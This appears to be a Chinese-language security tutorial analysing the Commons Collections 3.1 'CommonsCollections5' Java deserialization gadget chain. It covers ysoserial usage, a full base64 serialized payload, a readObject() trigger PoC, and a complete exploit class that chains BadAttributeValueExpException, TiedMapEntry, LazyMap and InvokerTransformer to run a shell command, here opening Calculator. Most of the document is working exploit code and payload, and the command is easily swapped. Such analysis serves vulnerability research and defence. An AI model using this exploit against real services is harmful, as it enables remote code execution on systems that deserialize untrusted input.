利用IDEA创建一个maven
项目,导入依赖
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
利用ysoserial
生成payload:
xxxxxxxxxx
java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 'open /System/Applications/Calculator.app' |base64
得到
xxxxxxxxxx
rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAU3QAJnlzb3NlcmlhbC5wYXlsb2Fkcy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2JqZWN0c3EAfgALAAAANXEAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJhdGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZMamF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwABSQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAACcHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAKG9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHB0AARleGVjdXEAfgAyAAAAAXEAfgA3c3EAfgAnc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4
这里用的jdk1.8.0_121
触发Poc
:
ximport java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Poc {
public static void main(String[] args) throws IOException,ClassNotFoundException {
String base64_exp = "BASE64_EXP";
byte[] exp = Base64.getDecoder().decode(base64_exp);
ByteArrayInputStream bytes = new ByteArrayInputStream(exp);
ObjectInputStream objectInputStream = new ObjectInputStream(bytes);
objectInputStream.readObject();
}
}
入口点是javax.management.BadAttributeValueExpException
的readObject()
中的valObj.toString()
java.io.ObjectInputStream.readFields()
方法从流中读取持久字段并通过名称使其可用,这里是获取反序列化中的val
字段,故valObj
是我们可控的
要执行到toString()
,System.getSecurityManager
需要为空,也就是当前的jvm
环境不能启用安全管理器
接下来看到org.apache.commons.collections.keyvalue.TiedMapEntry
的toString()
方法:
调用了this.getValue()
,进一步调用了this.map.get(this.key)
,然而map
和key
又是完全可控的
这样又回到了利用get()
方法上
接下来的分析和CC1.Step 2
后的一模一样了,不再赘述
照抄CC1
前半段,EXP part 1
:
xxxxxxxxxx
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
public class Exp {
public static void main(String[] args) throws Exception {
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","open /System/Applications/Calculator.app"}});
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
// 手动构造toString()
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,new Object());
tiedMapEntry.toString();
}
}
根据分析,这里要使BadAttributeValueExpException
的valObj
为tiedMapEntry
EXP part 2
设置属性:
xxxxxxxxxx
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"1");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("1");
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
xxxxxxxxxx
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
public class Exp {
public static void main(String[] args) throws Exception {
ConstantTransformer Runtime_class = new ConstantTransformer(java.lang.Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}});
InvokerTransformer invoke = new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}});
InvokerTransformer exec = new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/bash", "-c","open /System/Applications/Calculator.app"}});
Transformer[] transformers = new Transformer[]{Runtime_class, getMethod, invoke, exec};
ChainedTransformer TransformerChain = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"c014");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("c014");
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, tiedMapEntry);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
oos.writeObject(badAttributeValueExpException);
oos.close();
}
}